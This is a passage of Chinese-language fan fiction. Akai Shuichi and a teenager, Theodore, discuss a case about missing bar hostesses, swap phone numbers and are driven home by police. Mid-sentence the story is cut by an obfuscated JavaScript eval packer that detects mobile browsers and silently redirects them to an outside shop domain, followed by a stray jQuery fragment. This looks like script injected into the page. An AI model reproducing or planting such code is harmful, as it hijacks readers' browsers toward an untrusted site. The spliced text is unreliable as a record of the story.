“前天晚上,她应该是因为那个安全套才明白,布伦达很有可能是被人刻意下药的,虽然那些人的本意应该并不是让布伦达过敏致死。也幸亏这个发现打乱了她的计划,不然她就要炸掉天琴座了。”
赤井秀一摇摇头。
狄奥多沉默了一会儿。
“达雅呢?”
“我一开始确实没有把她的失踪和布伦达的事件联系在一起。”赤井秀一说,目光又看向窗外,玻璃上映出他自己模糊的影子,“这些陪酒女郎突然消失一两个星期,在酒吧街并不是什么稀罕事。虽然很讽刺,但是至少在那条街上,她们大多数时候并不会遇到生命危险。直到达雅没有消息一个月后,我才意识到她可能遇到了什么麻烦。但那时我也没有可以入手的调查方向,就连托尼也表现得一切正常。”
“直到布莉安娜开始在店里打听达雅,我才想到那天晚上她可能就和那个男孩在一起,或者至少接触过。布伦达才是她失踪的真正原因。”
狄奥多想到那个红发女人,把这两条线串了起来。
“那你觉得是托尼举报了达雅吗?”
“其实不可能。”赤井秀一断言。然后他解释道:
“应该是他的上层。所以达雅出了事,托尼后来才知道。我一开始留意到达雅失踪时,在他面前刻意提起过达雅,那时他表现得还很正常。”
狄奥多手里的可可表面上凝了一层油膜。他用手指划了划纸杯,看着油膜颤动着反光。
“但托尼那么激烈的反应……”
赤井秀一颔首:
“所以我认为那时候达雅只是被控制,并没有遭遇真正的危险,至少托尼不认为达雅遇到了危险。”
他停顿一下,眼神变得沉重:
“但后来又发生了什么变故,导致托尼将达雅在团伙中遭遇的不测归因于自己了,所以他才会在我提问的时候表现得那样失态。”
狄奥多想说什么,但是他看看青年的表情,发现对方并不需要安慰;他想想这次的案情,发现案情也已经没有什么需要再问的疑惑了。
狄奥多抬起头,看着赤井秀一。那张细看依然可以看出青涩的脸在快餐店的白光下显得更加苍白,但青年的眼睛却很亮。明明刚刚发现自己错失了拯救一个生命的机会,狄奥多却依然很难在其中找到一丝阴霾。但狄奥多又很清楚,眼前的人并非是一个漠视生命的人。
他只是接受地很快,很坦然。
狄奥多今天不知道第多少次感叹,眼前这个人和自己真的很不同。半年过去了,狄奥多依然很难从塞伦山里走出来。
或许塞塔娜医生说的就是赤井这样的人吧。那时她听我说“以后想成为一名缉凶的警察时”就告诉我:
那你就绝对不能被不属于你的责任拖垮了心灵,那是失职、是对信任你的民众的不负责任。你必须很坚强,比现在更坚强。
狄奥多回忆着那个金秋的下午,塞塔娜在她那间温馨的诊疗室里对自己说的话:
你是一个很博爱的孩子,但太敏锐的情感触须也会给你带来很多麻烦。比起很多人在痛苦面前选择的“解离一部分自己”,我更推荐你去接受自己。当你锻炼出一颗更包容更强大的心时,那些痛苦才不会让你千疮百孔。我相信你会好起来的,你还要去帮助你的朋友们,不是吗?
狄奥多从回忆里醒过神,就发现对面的赤井秀一正看着自己。青年没有打扰陷入了自身思绪的狄奥多,只是静静地看着。
“你那招踢击,”狄奥多想到了新的话题,他很好奇的另一些事,“相当地有想象力。”
赤井秀一笑了笑。不过不知道是在笑狄奥多走神的样子,还是笑狄奥多对自己招式的赞誉;又或者是笑狄奥多转移话题之生硬。
“有什么高见?”
“什么高见……”狄奥多这下确定青年又开始捉弄自己了,“你不也看出我有在练拳击嘛。你那一下,只要稍微练过一点格斗的人都看的出来很厉害吧!”
赤井秀一没有否认:“小时候练过一点格斗技。因为家庭环境的影响,一直没有荒废过。”
但狄奥多也听出这个答案不算是个解释。
好像问了什么不好回答的问题。狄奥多暗忖。但也有可能单纯是没有具体的流派,不好说?
“哼……”
“你那一拳也很结实啊。”
青年的赞誉来的猝不及防,打断了狄奥多用吸管搅拌可可的动作。
“咳、”狄奥多差点被自己的口水呛到,“嗯……多谢夸奖?”
赤井秀一看着他局促的反应,眼中划过一丝惊讶。然后又是了然:
“你学习的对象很厉害吧?而且生活中没什么实战机会。你完全可以更自信,今晚那拳力道控制得很好。把人打倒了,又没到会影响对方神志、以至于不能推进调查的程度。”
狄奥多汗颜。这可真是相当出于实用情况考虑的评价啊。不过……
“确实,我平常对练的对象好像是挺厉害的。”狄奥多想了想那个俱乐部休息室里放的一堆奖牌,以前他可真没想过去查证那些奖章有多少含金量,“话说回来,你好像对案件调查很了解?今天晚上你至少有两次对我说出与此相关的见解了。”
“我在犯罪学专业就读。”
啊。狄奥多快速眨眨眼。果然不可能有什么惊天大秘密啊。
呃,不对!狄奥多轻轻甩甩脑袋:
“原来如此!”少年两眼放光,“我心仪的专业也是这个。你在哪所大学?既然在酒吧街打工,应该是大学城的某一所?”
狄奥多的兴奋溢于言表。但赤井秀一发现他的肢体语言几乎没有变化。
结合刚刚格斗技的话题……嗯,看来这孩子的家教相当“厉害”啊。搞不好是什么大家族。青年面上不显,心里想着。
“马里兰。”赤井秀一简短地回答,“我想你的目标院校也是它吧。”
“嗯哼。看来我不得不请你期待与我成为校友的那一天了,我对申请成功可是很有信心的。”
两人就这么聊着,狄奥多又从
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489729|202170||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
口袋里摸出手机。
“留个号码?”
少年眉眼弯弯:“希望学长不吝赐教,给我一点别人搞不到的独家消息~”
赤井秀一也笑了。他把手机接过去,看到已经写好的备注时顿了一下。不过很快就按了几下,还给了狄奥多。
狄奥多看屏幕,通讯录里多了一个条目:Red。他满意地收起了手机。
他们又聊了一会儿。青年讲了一个他之前在天琴座经历的趣事。有人用吧台上的玻璃糖罐砸人,结果对方毫发无损,反而是糖果罐多了蛛网花纹。后来经理出来解释,他们才知道天琴座的糖果罐是特意做成这样的,就是为了防止有人在店里打起来。狄奥多乐不可支。
就在这时,福林警官推开了店门。他那只吊着的手臂怕是在接下来一个月都会一直接受同事们的注目礼了。警官另一只手拿着手机,脸上带着一种“终于忙完了”的轻快的疲惫。
“你们俩在这里。”他走过来,看了看狄奥多,又看了看赤井秀一,“笔录的事解决了,感谢你们的热心帮助。我让人送你们回去。”
狄奥多站起来,看了一眼对面的人。赤井秀一拉过那个吉他包,站起来。
福林把他们带到店外,一辆警车正停在路边。开车的警员是之前见过的熟脸。不过狄奥多不知道他的名字。
“送这个小朋友到卡托科廷,”福林指了指狄奥多,“这位——”
“送到梅泽罗忒路就行。谢谢。”赤井秀一说。
福林看了他一眼,点了点头。
不知怎得,狄奥多觉得福林警官的眼神中好像有一丝赞许?这位警官很认可学习好的年轻人吗?狄奥多没忍住分神想了想,然后就发现赤井秀一已经坐在了后座上,正目不转睛地看着站在车门前的他。
啊哈哈。我这胡思乱想的毛病真得控制一下了。狄奥多很确信那眼神里有无奈。他哈哈两声,坐到了青年旁边。
车开了。
窗外的街灯一盏接一盏地往后跑,车里一时安静下来。那位脸熟的警官打开收音机,低低的爵士乐从扬声器里流出来。
爵士乐不在狄奥多的爱好范围里,但少年对它也没有什么意见,所以很自然地就接受了驾驶员的选曲。狄奥多又用余光撇了眼一旁的赤井秀一,却发现他闭上了眼睛。
这是喜欢还是不喜欢?
到了一个狄奥多陌生的路口,警员停了车。
青年又说了一次谢谢,下车去了。
狄奥多坐在后座,向车窗外看了一眼青年的侧脸。
赤井秀一正把后备箱里的吉他拿出来。青年背好包,朝狄奥多挥挥手。
狄奥多知道这是说:走了。
再见。狄奥多用口型说。
赤井秀一只是又挥挥手,然后留下一个背影。狄奥多觉得这次是说:行。
狄奥多从后视镜里看到,驾驶位上的警员看着他俩打招呼笑了笑。少年有点不好意思地坐好。车子又发动了。狄奥多看到那个背着琴包的身影越来越远越来越小。